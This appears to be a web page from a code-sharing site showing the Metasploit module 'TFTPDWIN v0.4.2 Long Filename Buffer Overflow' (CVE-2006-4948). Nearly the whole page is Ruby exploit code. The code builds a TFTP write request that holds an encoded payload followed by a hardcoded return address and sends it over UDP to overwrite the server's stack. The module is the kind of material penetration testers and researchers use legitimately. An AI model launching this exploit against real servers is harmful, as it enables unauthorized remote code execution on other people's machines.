Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/tftp/tftpdwin_long_filename.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(update_info(info,12'Name' => 'TFTPDWIN v0.4.2 Long Filename Buffer Overflow',13'Description' => %q{14This module exploits the ProSysInfo TFTPDWIN threaded TFTP Server. By sending15an overly long file name to the tftpd.exe server, the stack can be overwritten.16},17'Author' => [ 'aushack' ],18'References' =>19[20[ 'CVE', '2006-4948' ],21[ 'OSVDB', '29032' ],22[ 'BID', '20131' ],23[ 'EDB', '3132' ],24],25'DefaultOptions' =>26{27'EXITFUNC' => 'process',28},29'Payload' =>30{31'Space' => 284,32'BadChars' => "\x00",33'StackAdjustment' => -3500,34},35'Platform' => 'win',36'Targets' =>37[38# Patrick - Tested OK 2007/10/02 w2ksp0, w2ksp4, xpsp0, xpsp2 en39[ 'Universal - tftpd.exe', { 'Ret' => 0x00458b91 } ] # pop edx / ret tftpd.exe40],41'Privileged' => false,42'DisclosureDate' => '2006-09-21',43'DefaultTarget' => 0))4445register_options(46[47Opt::RPORT(69),48], self)49end5051def exploit52connect_udp5354print_status("Trying target #{target.name}...")55sploit = "\x00\x02" + payload.encoded + [target['Ret']].pack('V')56sploit << "netascii\x00" # The first null byte is borrowed for the target return address :)57udp_sock.put(sploit)5859disconnect_udp60end61end626364